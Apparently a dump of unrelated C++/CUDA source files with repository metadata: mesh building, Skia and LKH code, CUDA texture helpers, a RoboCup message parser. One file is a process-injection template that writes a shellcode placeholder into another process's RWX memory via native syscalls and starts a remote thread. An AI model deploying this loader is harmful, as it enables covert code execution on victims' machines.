(Box::FACE_LEFT + Box::TOP_RIGHT).set (-n, n, n); vertices->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (-n, -n, n); vertices->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (-n, -n, -n); tangent->at (Box::FACE_LEFT + Box::TOP_LEFT).set (0.0f, 0.0f, 1.0f, 0.0f); tangent->at (Box::FACE_LEFT + Box::TOP_RIGHT).set (0.0f, 0.0f, 1.0f, 0.0f); tangent->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, 1.0f, 0.0f); tangent->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 1.0f, 0.0f); textureCoords->at (Box::FACE_LEFT + Box::TOP_LEFT).set (0.0f, n, 0.0f); textureCoords->at (Box::FACE_LEFT + Box::TOP_RIGHT).set (n, n, 0.0f); textureCoords->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f); textureCoords->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f); normals->at (Box::FACE_LEFT + Box::TOP_LEFT).set (-n, 0.0f, 0.0f, 0.0f); normals->at (Box::FACE_LEFT + Box::TOP_RIGHT).set (-n, 0.0f, 0.0f, 0.0f); normals->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (-n, 0.0f, 0.0f, 0.0f); normals->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (-n, 0.0f, 0.0f, 0.0f); //BACK vertices->at (Box::FACE_BACK + Box::TOP_LEFT).set ( n, n, -n); vertices->at (Box::FACE_BACK + Box::TOP_RIGHT).set (-n, n, -n); vertices->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (-n, -n,-n); vertices->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set ( n, -n,-n); tangent->at (Box::FACE_BACK + Box::TOP_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_BACK + Box::TOP_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f); textureCoords->at (Box::FACE_BACK + Box::TOP_LEFT).set (0.0f, n, 0.0f); textureCoords->at (Box::FACE_BACK + Box::TOP_RIGHT).set (n, n, 0.0f); textureCoords->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f); textureCoords->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f); normals->at (Box::FACE_BACK + Box::TOP_LEFT).set (0.0f, 0.0f, -n, 0.0f); normals->at (Box::FACE_BACK + Box::TOP_RIGHT).set (0.0f, 0.0f, -n, 0.0f); normals->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, -n, 0.0f); normals->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set (0.0f, 0.0f, -n, 0.0f); //RIGHT vertices->at (Box::FACE_RIGHT + Box::TOP_LEFT).set ( n, n, n); vertices->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set ( n, n, -n); vertices->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set ( n, -n,-n); vertices->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set ( n, -n, n); tangent->at (Box::FACE_RIGHT + Box::TOP_LEFT).set (0.0f, 0.0f, -1.0f, 0.0f); tangent->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set (0.0f, 0.0f, -1.0f, 0.0f); tangent->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, -1.0f, 0.0f); tangent->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, -1.0f, 0.0f); textureCoords->at (Box::FACE_RIGHT + Box::TOP_LEFT).set (0.0f, n, 0.0f); textureCoords->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set (n, n, 0.0f); textureCoords->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f); textureCoords->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f); normals->at (Box::FACE_RIGHT + Box::TOP_LEFT).set (n, 0.0f, 0.0f, 0.0f); normals->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set (n, 0.0f, 0.0f, 0.0f); normals->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f, 0.0f); normals->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set (n, 0.0f, 0.0f, 0.0f); //TOP vertices->at (Box::FACE_TOP + Box::TOP_LEFT).set (-n, n, -n); vertices->at (Box::FACE_TOP + Box::TOP_RIGHT).set ( n, n, -n); vertices->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set( n, n, n); vertices->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set (-n, n, n); tangent->at (Box::FACE_TOP + Box::TOP_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_TOP + Box::TOP_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f); textureCoords->at (Box::FACE_TOP + Box::TOP_LEFT).set (0.0f, n, 0.0f); textureCoords->at (Box::FACE_TOP + Box::TOP_RIGHT).set (n, n, 0.0f); textureCoords->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f); textureCoords->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f); normals->at (Box::FACE_TOP + Box::TOP_LEFT).set ( 0.0f, n, 0.0f, 0.0f); normals->at (Box::FACE_TOP + Box::TOP_RIGHT).set ( 0.0f, n, 0.0f, 0.0f); normals->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set ( 0.0f, n, 0.0f, 0.0f); normals->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set ( 0.0f, n, 0.0f, 0.0f); //BOTTOM vertices->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set (-n, -n, n); vertices->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set ( n, -n, n); vertices->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set ( n, -n, -n); vertices->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set (-n, -n, -n); tangent->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f); tangent->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f); textureCoords->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set (0.0f, n, 0.0f); textureCoords->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set (n, n, 0.0f); textureCoords->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f); textureCoords->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f); normals->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set ( 0.0f, -n, 0.0f, 0.0f); normals->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set ( 0.0f, -n, 0.0f, 0.0f); normals->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set ( 0.0f, -n, 0.0f, 0.0f); normals->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set ( 0.0f, -n, 0.0f, 0.0f); std::shared_ptr<VertexData> &vertexData = getVertexData(); vertexData->setDataFor (VertexData::GetAttribIndex(std::string("position")), vertices); vertexData->setDataFor (VertexData::GetAttribIndex(std::string("texCoord0")), textureCoords); vertexData->setDataFor (VertexData::GetAttribIndex(std::string("tangent")), tangent); vertexData->setDataFor (VertexData::GetAttribIndex(std::string("normal")), normals); std::shared_ptr<MaterialGroup> aMaterialGroup = MaterialGroup::Create(this, "__Light Grey"); std::shared_ptr<std::vector<unsigned int>> indices = std::shared_ptr<std::vector<unsigned int>>(new std::vector<unsigned int>(36)); //FRONT indices->at (0) = Box::FACE_FRONT + Box::TOP_LEFT; indices->at (1) = Box::FACE_FRONT + Box::BOTTOM_LEFT; indices->at (2) = Box::FACE_FRONT + Box::TOP_RIGHT; indices->at (3) = Box::FACE_FRONT + Box::BOTTOM_LEFT; indices->at (4) = Box::FACE_FRONT + Box::BOTTOM_RIGHT; indices->at (5) = Box::FACE_FRONT + Box::TOP_RIGHT; //LEFT indices->at (6) = Box::FACE_LEFT + Box::TOP_LEFT; indices->at (7) = Box::FACE_LEFT + Box::BOTTOM_LEFT; indices->at (8) = Box::FACE_LEFT + Box::TOP_RIGHT; indices->at (9) = Box::FACE_LEFT + Box::BOTTOM_LEFT; indices->at (10)= Box::FACE_LEFT + Box::BOTTOM_RIGHT; indices->at (11)= Box::FACE_LEFT + Box::TOP_RIGHT; //BACK indices->at (12)= Box::FACE_BACK + Box::TOP_LEFT; indices->at (13)= Box::FACE_BACK + Box::BOTTOM_LEFT; indices->at (14)= Box::FACE_BACK + Box::TOP_RIGHT; indices->at (15)= Box::FACE_BACK + Box::BOTTOM_LEFT; indices->at (16)= Box::FACE_BACK + Box::BOTTOM_RIGHT; indices->at (17)= Box::FACE_BACK + Box::TOP_RIGHT; //RIGHT indices->at (18)= Box::FACE_RIGHT + Box::TOP_LEFT; indices->at (19)= Box::FACE_RIGHT + Box::BOTTOM_LEFT; indices->at (20)= Box::FACE_RIGHT + Box::TOP_RIGHT; indices->at (21)= Box::FACE_RIGHT + Box::BOTTOM_LEFT; indices->at (22)= Box::FACE_RIGHT + Box::BOTTOM_RIGHT; indices->at (23)= Box::FACE_RIGHT + Box::TOP_RIGHT; //TOP indices->at (24)= Box::FACE_TOP + Box::TOP_LEFT; indices->at (25)= Box::FACE_TOP + Box::BOTTOM_LEFT; indices->at (26)= Box::FACE_TOP + Box::TOP_RIGHT; indices->at (27)= Box::FACE_TOP + Box::BOTTOM_LEFT; indices->at (28)= Box::FACE_TOP + Box::BOTTOM_RIGHT; indices->at (29)= Box::FACE_TOP + Box::TOP_RIGHT; //BOTTOM indices->at (30)= Box::FACE_BOTTOM + Box::TOP_LEFT; indices->at (31)= Box::FACE_BOTTOM + Box::BOTTOM_LEFT; indices->at (32)= Box::FACE_BOTTOM + Box::TOP_RIGHT; indices->at (33)= Box::FACE_BOTTOM + Box::BOTTOM_LEFT; indices->at (34)= Box::FACE_BOTTOM + Box::BOTTOM_RIGHT; indices->at (35)= Box::FACE_BOTTOM + Box::TOP_RIGHT; aMaterialGroup->setIndexList (indices); addMaterialGroup (aMaterialGroup); } Box::~Box(void) { } std::string Box::getClassName() { return "Box"; } void Box::build() { }
45.661157
94
0.648507
Khirion
0ea3d407461274084cd3ad1ba531ec0e53598ab5
3,616
cpp
C++
third_party/skia_m63/gm/makecolorspace.cpp
kniefliu/WindowsSamples
c841268ef4a0f1c6f89b8e95bf68058ea2548394
[ "MIT" ]
4
2019-10-18T05:53:30.000Z
2021-08-21T07:36:37.000Z
third_party/skia_m63/gm/makecolorspace.cpp
kniefliu/WindowsSamples
c841268ef4a0f1c6f89b8e95bf68058ea2548394
[ "MIT" ]
2
2019-03-14T10:26:45.000Z
2021-08-06T01:24:06.000Z
third_party/skia_m63/gm/makecolorspace.cpp
kniefliu/WindowsSamples
c841268ef4a0f1c6f89b8e95bf68058ea2548394
[ "MIT" ]
4
2018-10-14T00:17:11.000Z
2020-07-01T04:01:25.000Z
/* * Copyright 2017 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "gm.h" #include "Resources.h" #include "SkCodec.h" #include "SkColorSpace_Base.h" #include "SkImage.h" #include "SkImagePriv.h" sk_sp<SkImage> make_raster_image(const char* path, SkTransferFunctionBehavior behavior) { SkString resourcePath = GetResourcePath(path); sk_sp<SkData> resourceData = SkData::MakeFromFileName(resourcePath.c_str()); std::unique_ptr<SkCodec> codec = SkCodec::MakeFromData(resourceData); SkBitmap bitmap; bitmap.allocPixels(codec->getInfo()); SkCodec::Options opts; opts.fPremulBehavior = behavior; codec->getPixels(codec->getInfo(), bitmap.getPixels(), bitmap.rowBytes(), &opts); return SkImage::MakeFromBitmap(bitmap); } sk_sp<SkImage> make_color_space(sk_sp<SkImage> orig, sk_sp<SkColorSpace> colorSpace, SkTransferFunctionBehavior behavior) { sk_sp<SkImage> xform = orig->makeColorSpace(colorSpace, behavior); // Assign an sRGB color space on the xformed image, so we can see the effects of the xform // when we draw. sk_sp<SkColorSpace> srgb = SkColorSpace::MakeSRGB(); if (colorSpace->gammaIsLinear()) { srgb = SkColorSpace::MakeSRGBLinear(); } return SkImageMakeRasterCopyAndAssignColorSpace(xform.get(), srgb.get()); } class MakeCSGM : public skiagm::GM { public: MakeCSGM() {} protected: SkString onShortName() override { return SkString("makecolorspace"); } SkISize onISize() override { return SkISize::Make(128*3, 128*4); } void onDraw(SkCanvas* canvas) override { SkTransferFunctionBehavior behavior = canvas->imageInfo().colorSpace() ? SkTransferFunctionBehavior::kRespect : SkTransferFunctionBehavior::kIgnore; sk_sp<SkColorSpace> wideGamut = SkColorSpace::MakeRGB(SkColorSpace::kSRGB_RenderTargetGamma, SkColorSpace::kAdobeRGB_Gamut); sk_sp<SkColorSpace> wideGamutLinear = as_CSB(wideGamut)->makeLinearGamma(); // Lazy images sk_sp<SkImage> opaqueImage = GetResourceAsImage("mandrill_128.png"); sk_sp<SkImage> premulImage = GetResourceAsImage("color_wheel.png"); canvas->drawImage(opaqueImage, 0.0f, 0.0f); canvas->drawImage(make_color_space(opaqueImage, wideGamut, behavior), 128.0f, 0.0f); canvas->drawImage(make_color_space(opaqueImage, wideGamutLinear, behavior), 256.0f, 0.0f); canvas->drawImage(premulImage, 0.0f, 128.0f); canvas->drawImage(make_color_space(premulImage, wideGamut, behavior), 128.0f, 128.0f); canvas->drawImage(make_color_space(premulImage, wideGamutLinear, behavior), 256.0f, 128.0f); canvas->translate(0.0f, 256.0f); // Raster images opaqueImage = make_raster_image("mandrill_128.png", behavior); premulImage = make_raster_image("color_wheel.png", behavior); canvas->drawImage(opaqueImage, 0.0f, 0.0f); canvas->drawImage(make_color_space(opaqueImage, wideGamut, behavior), 128.0f, 0.0f); canvas->drawImage(make_color_space(opaqueImage, wideGamutLinear, behavior), 256.0f, 0.0f); canvas->drawImage(premulImage, 0.0f, 128.0f); canvas->drawImage(make_color_space(premulImage, wideGamut, behavior), 128.0f, 128.0f); canvas->drawImage(make_color_space(premulImage, wideGamutLinear, behavior), 256.0f, 128.0f); } private: typedef skiagm::GM INHERITED; }; DEF_GM(return new MakeCSGM;)
40.177778
100
0.690542
kniefliu
0ea607cca50a5692e75e755921ca22a0149d13c8
1,129
cpp
C++
project/OFEC_sc2/instance/algorithm/realworld/DVRP/LKH/Improvement.cpp
BaiChunhui-9803/bch_sc2_OFEC
d50211b27df5a51a953a2475b6c292d00cbfeff6
[ "MIT" ]
null
null
null
project/OFEC_sc2/instance/algorithm/realworld/DVRP/LKH/Improvement.cpp
BaiChunhui-9803/bch_sc2_OFEC
d50211b27df5a51a953a2475b6c292d00cbfeff6
[ "MIT" ]
null
null
null
project/OFEC_sc2/instance/algorithm/realworld/DVRP/LKH/Improvement.cpp
BaiChunhui-9803/bch_sc2_OFEC
d50211b27df5a51a953a2475b6c292d00cbfeff6
[ "MIT" ]
null
null
null
#include "./INCLUDE/Segment.h" #include "./INCLUDE/LKH.h" /* The Improvement function is used to check whether a done move * has improved the current best tour. * If the tour has been improved, the function computes the penalty gain * and returns 1. Otherwise, the move is undone, and the function returns 0. */ int LKH::LKHAlg::Improvement(GainType * Gain, Node * t1, Node * SUCt1) { GainType NewPenalty; if (!Penalty) { if (*Gain > 0) return 1; RestoreTour(); if (SUC(t1) != SUCt1) Reversed ^= 1; *Gain = PenaltyGain = 0; return 0; } CurrentGain = *Gain; NewPenalty = (this->*Penalty)(); if (NewPenalty <= CurrentPenalty) { if (TSPTW_Makespan) *Gain = (TSPTW_CurrentMakespanCost - TSPTW_MakespanCost()) * Precision; if (NewPenalty < CurrentPenalty || *Gain > 0) { PenaltyGain = CurrentPenalty - NewPenalty; return 1; } } RestoreTour(); if (SUC(t1) != SUCt1) Reversed ^= 1; *Gain = PenaltyGain = 0; return 0; }
27.536585
76
0.568645
BaiChunhui-9803
0ea62fc4b26eb67e890657b54df620d6c40fa9d8
1,513
hpp
C++
kernels/backend/cuda/image.hpp
wchang22/Nova
3db1e8f8a0dea1dcdd3d3d02332534d5945e17bb
[ "MIT" ]
21
2020-05-02T06:32:23.000Z
2021-07-14T11:22:07.000Z
kernels/backend/cuda/image.hpp
wchang22/Nova
3db1e8f8a0dea1dcdd3d3d02332534d5945e17bb
[ "MIT" ]
null
null
null
kernels/backend/cuda/image.hpp
wchang22/Nova
3db1e8f8a0dea1dcdd3d3d02332534d5945e17bb
[ "MIT" ]
1
2021-05-24T13:44:56.000Z
2021-05-24T13:44:56.000Z
#ifndef KERNELS_BACKEND_CUDA_IMAGE_HPP #define KERNELS_BACKEND_CUDA_IMAGE_HPP #include "kernels/backend/common/image.hpp" namespace nova { using image2d_read_t = cudaTextureObject_t; using image2d_write_t = cudaSurfaceObject_t; using image2d_array_read_t = cudaTextureObject_t; template <typename W, AddressMode A = AddressMode::CLAMP> __device__ constexpr W read_image(image2d_read_t image, const int2& coords) { return tex2D<W>(image, coords.x, coords.y); } template <typename W, AddressMode A = AddressMode::CLAMP> __device__ constexpr W read_image(image2d_read_t image, const float2& coords) { return tex2D<W>(image, coords.x, coords.y); } template <typename W, AddressMode A = AddressMode::CLAMP> __device__ constexpr W read_image(image2d_read_t image, const float2& coords, const float2& offset) { return tex2D<W>(image, coords.x + offset.x, coords.y + offset.y); } template <typename W, AddressMode A = AddressMode::CLAMP> __device__ constexpr W read_image(image2d_array_read_t image, const int2& coords, int index) { return tex2DLayered<W>(image, coords.x, coords.y, index); } template <typename W, AddressMode A = AddressMode::CLAMP> __device__ constexpr W read_image(image2d_array_read_t image, const float2& coords, int index) { return tex2DLayered<W>(image, coords.x, coords.y, index); } template <typename U> __device__ constexpr void write_image(image2d_write_t image, const int2& coords, const U& value) { surf2Dwrite(value, image, coords.x * sizeof(U), coords.y); } } #endif
33.622222
98
0.775942
wchang22
0ea7672721273c873a5e148e73fc061c4498e87e
4,904
cc
C++
DQM/EcalCommon/src/MESetMulti.cc
pasmuss/cmssw
566f40c323beef46134485a45ea53349f59ae534
[ "Apache-2.0" ]
null
null
null
DQM/EcalCommon/src/MESetMulti.cc
pasmuss/cmssw
566f40c323beef46134485a45ea53349f59ae534
[ "Apache-2.0" ]
null
null
null
DQM/EcalCommon/src/MESetMulti.cc
pasmuss/cmssw
566f40c323beef46134485a45ea53349f59ae534
[ "Apache-2.0" ]
null
null
null
#include "DQM/EcalCommon/interface/MESetMulti.h" namespace ecaldqm { MESetMulti::MESetMulti(MESet const& _seed, ReplCandidates const& _replCandidates) : MESet(_seed), current_(0), sets_(), replCandidates_(_replCandidates) { PathReplacements replacements; std::map<std::string, unsigned> indices; // recursive function to set replacements // indices gives the multi index in each dimension // dimensions are alphanumerically ordered from the use of std::map std::function<bool(typename ReplCandidates::const_iterator&)> setReplacements([&setReplacements, &replacements, &indices, this](typename ReplCandidates::const_iterator& _rItr){ unsigned& index(indices[_rItr->first]); replacements[_rItr->first] = _rItr->second[index]; // one dimension set, go to next ++_rItr; if(_rItr == this->replCandidates_.end()){ // this is the last dimension. Increment the index and retutn to the first _rItr = this->replCandidates_.begin(); ++index; } else if(setReplacements(_rItr)) ++index; if(index != _rItr->second.size()) return false; // index has counted to the maximum of this dimension, carry over index = 0; return true; }); // [dim0 = 0, dim1 = 0] -> 0, [dim0 = 0, dim1 = 1] -> 1, ... unsigned iM(0); while(true){ replacements.clear(); typename ReplCandidates::const_iterator rItr(replCandidates_.begin()); bool last(setReplacements(rItr)); sets_.push_back(_seed.clone(formPath(replacements))); if(last) break; ++iM; } current_ = sets_[0]; } MESetMulti::MESetMulti(MESetMulti const& _orig) : MESet(_orig), current_(0), sets_(_orig.sets_.size(), 0), replCandidates_(_orig.replCandidates_) { if(sets_.size() == 0) return; for(unsigned iS(0); iS < sets_.size(); ++iS){ if(!_orig.sets_[iS]) continue; sets_[iS] = _orig.sets_[iS]->clone(); if(_orig.sets_[iS] == _orig.current_) current_ = sets_[iS]; } } MESetMulti::~MESetMulti() { for(unsigned iS(0); iS < sets_.size(); ++iS) delete sets_[iS]; } MESet& MESetMulti::operator=(MESet const& _rhs) { for(unsigned iS(0); iS < sets_.size(); ++iS) delete sets_[iS]; sets_.clear(); current_ = 0; MESetMulti const* pRhs(dynamic_cast<MESetMulti const*>(&_rhs)); if(pRhs){ sets_.assign(pRhs->sets_.size(), 0); for(unsigned iS(0); iS < pRhs->sets_.size(); ++iS){ sets_[iS] = pRhs->sets_[iS]->clone(); if(pRhs->sets_[iS] == pRhs->current_) current_ = sets_[iS]; } replCandidates_ = pRhs->replCandidates_; } return MESet::operator=(_rhs); } MESet* MESetMulti::clone(std::string const& _path/* = ""*/) const { std::string path(path_); if(_path != "") path_ = _path; MESet* copy(new MESetMulti(*this)); path_ = path; return copy; } void MESetMulti::book(DQMStore::IBooker& _ibooker) { for(unsigned iS(0); iS < sets_.size(); ++iS) sets_[iS]->book(_ibooker); active_ = true; } bool MESetMulti::retrieve(DQMStore::IGetter& _igetter, std::string* _failedPath/* = 0*/) const { for(unsigned iS(0); iS < sets_.size(); ++iS) if(!sets_[iS]->retrieve(_igetter, _failedPath)) return false; active_ = true; return true; } void MESetMulti::clear() const { for(unsigned iS(0); iS < sets_.size(); ++iS) sets_[iS]->clear(); active_ = false; } void MESetMulti::reset(double _content/* = 0*/, double _error/* = 0.*/, double _entries/* = 0.*/) { for(unsigned iS(0); iS < sets_.size(); ++iS) sets_[iS]->reset(_content, _error, _entries); } void MESetMulti::resetAll(double _content/* = 0*/, double _error/* = 0.*/, double _entries/* = 0.*/) { for(unsigned iS(0); iS < sets_.size(); ++iS) sets_[iS]->resetAll(_content, _error, _entries); } void MESetMulti::use(unsigned _iSet) const { if(_iSet >= sets_.size()) throw_("MESetMulti index out of range"); current_ = sets_[_iSet]; } unsigned MESetMulti::getIndex(PathReplacements const& _replacements) const { unsigned index(0); unsigned base(1); for(typename ReplCandidates::const_reverse_iterator cItr(replCandidates_.rbegin()); cItr != replCandidates_.rend(); ++cItr){ typename PathReplacements::const_iterator rItr(_replacements.find(cItr->first)); if(rItr == _replacements.end()) throw_(cItr->first + " not given in the key for getIndex"); unsigned nC(cItr->second.size()); unsigned iR(0); for(; iR != nC; ++iR) if(rItr->second == cItr->second[iR]) break; if(iR == nC) throw_(rItr->second + " not found in replacement candidates"); index += iR * base; base *= nC; } return index; } }
27.863636
180
0.612153
pasmuss
0eaa4e824dee738f47dfa9f67731e15a3043df38
1,855
cpp
C++
inceptor/templates/public/cpp/process_injection/classic-native-syscalls.cpp
whitefi/inceptor
2234740b76c34b2ab91d05ff675748022c476a81
[ "BSD-4-Clause" ]
743
2021-08-02T16:27:27.000Z
2022-03-31T16:34:16.000Z
inceptor/templates/public/cpp/process_injection/classic-native-syscalls.cpp
whitefi/inceptor
2234740b76c34b2ab91d05ff675748022c476a81
[ "BSD-4-Clause" ]
32
2021-08-03T04:47:20.000Z
2022-03-28T23:15:45.000Z
inceptor/templates/public/cpp/process_injection/classic-native-syscalls.cpp
whitefi/inceptor
2234740b76c34b2ab91d05ff675748022c476a81
[ "BSD-4-Clause" ]
138
2021-08-02T16:27:28.000Z
2022-03-31T02:47:20.000Z
#include <Windows.h> #include <stdio.h> #include <stdlib.h> //####USING#### #pragma comment(lib, "ntdll") //####DEFINE#### //####CODE#### int Inject(int pid) { const unsigned char raw[] = ####SHELLCODE####; int length = sizeof(raw); unsigned char* encoded = (unsigned char*)malloc(sizeof(unsigned char) * length * 2); memcpy(encoded, raw, length); //####CALL#### unsigned char* decoded = encoded; unsigned long size = 4096; LARGE_INTEGER sectionSize = { size }; HANDLE sectionHandle = NULL; PVOID localSectionAddress = NULL, remoteSectionAddress = NULL; SIZE_T RegionSize = (SIZE_T)length; LPVOID allocation_start = nullptr; NTSTATUS status; HANDLE targetHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid); if (targetHandle == 0){ printf("[-] Invalid Target Handle"); exit(1); } status = NtAllocateVirtualMemory(targetHandle, &allocation_start, 0, (PSIZE_T)&RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status < 0){ printf("[-] Memory allocation failed"); exit(1); } status = NtWriteVirtualMemory(targetHandle, allocation_start, decoded, length, 0); if (status < 0){ printf("[-] Memory writing failed"); exit(1); } HANDLE targetThreadHandle = NULL; NtCreateThreadEx(&targetThreadHandle, GENERIC_EXECUTE, NULL, targetHandle, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL); if (targetThreadHandle == NULL){ printf("[-] Invalid Thread Handle"); exit(1); } return 0; } int main(int argc, char** argv) { //####DELAY#### //####ANTIDEBUG#### //####UNHOOK#### //####ARGS#### int pid = 0; if (argc < 2) { printf("[-] Missing PID... Finding...\n"); //####FIND_PROCESS#### }else{ pid = atoi(argv[1]); } if (pid == 0){ printf("[-] Process not found\n"); exit(1); } Inject(pid); }
21.569767
143
0.633962
whitefi
0eaffac8eb63d3cff2fe3b924c42d153b2df6f5e
46,915
cpp
C++
starter-stack/Lib/rcsc/common/say_message_parser.cpp
InsperDynamics/Soccer-Simulation-2D
a548d576ca4ab2a8f797810f5e23875c45cef73f
[ "Apache-2.0" ]
null
null
null
starter-stack/Lib/rcsc/common/say_message_parser.cpp
InsperDynamics/Soccer-Simulation-2D
a548d576ca4ab2a8f797810f5e23875c45cef73f
[ "Apache-2.0" ]
null
null
null
starter-stack/Lib/rcsc/common/say_message_parser.cpp
InsperDynamics/Soccer-Simulation-2D
a548d576ca4ab2a8f797810f5e23875c45cef73f
[ "Apache-2.0" ]
null
null
null
// -*-c++-*- /*! \file say_message_parser.cpp \brief player's say message parser Source File */ /* *Copyright: Copyright (C) Hidehisa AKIYAMA This code is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA *EndCopyright: */ ///////////////////////////////////////////////////////////////////// #ifdef HAVE_CONFIG_H #include <config.h> #endif #include "say_message_parser.h" #include "audio_codec.h" #include "audio_memory.h" #include <rcsc/common/logger.h> #include <rcsc/common/server_param.h> #include <rcsc/game_time.h> #include <cstring> namespace rcsc { /*-------------------------------------------------------------------*/ /*! */ BallMessageParser::BallMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int BallMessageParser::parse( const int sender , const double & , const char * msg, const GameTime & current ) { // format: // "b<pos_vel:5>" // the length of message == 6 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "***ERROR*** BallMessageParser::parse()" << " Illegal ball message [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "BallMessageParser: Illegal ball info [%s]", msg ); return -1; } ++msg; Vector2D ball_pos; Vector2D ball_vel; if ( ! AudioCodec::i().decodeStr5ToPosVel( std::string( msg, slength() - 1 ), &ball_pos, &ball_vel ) ) { std::cerr << "***ERROR*** BallMessageParser::parse()" << " Failed to decode ball [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "BallMessageParser: Failed to decode Ball Info [%s]", msg ); return -1; } dlog.addText( Logger::SENSOR, "BallMessageParser::parse() success! pos(%.1f %.1f) vel(%.1f %.1f)", ball_pos.x, ball_pos.y, ball_vel.x, ball_vel.y ); M_memory->setBall( sender, ball_pos, ball_vel, current ); return slength(); } /*-------------------------------------------------------------------*/ /*! */ PassMessageParser::PassMessageParser( boost::shared_ptr< AudioMemory > memory ) : M_memory( memory ) { } /*-------------------------------------------------------------------*/ /*! */ int PassMessageParser::parse( const int sender, const double & , const char * msg, const GameTime & current ) { // format: // "p<unum_pos:4><pos_vel:5>" // the length of message == 10 if ( *msg != sheader() ) { return 0; } if ( (int)std::strlen( msg ) < slength() ) { std::cerr << "PassMessageParser::parse()" << " Illegal pass pass message [" << msg << "] len = " << std::strlen( msg ) << std::endl; dlog.addText( Logger::SENSOR, "PassMessageParser Failed to decode Pass Info [%s]", msg ); return -1; } ++msg; int receiver_number = 0; Vector2D receive_pos; if ( ! AudioCodec::i().decodeStr4ToUnumPos( std::string( msg, 4 ), &receiver_number, &receive_pos ) ) { std::cerr << "PassMessageParser::parse()" << " Failed to parse [" << msg << "]" << std::endl; dlog.addText( Logger::SENSOR, "PassMessageParser: Failed to decode Pass Info [%s]", msg ); return -1; } msg += 4; Vector2D ball_pos; Vector2D ball_vel; if ( ! AudioCodec::i().decodeStr5ToPosVel( std::string( msg, 5 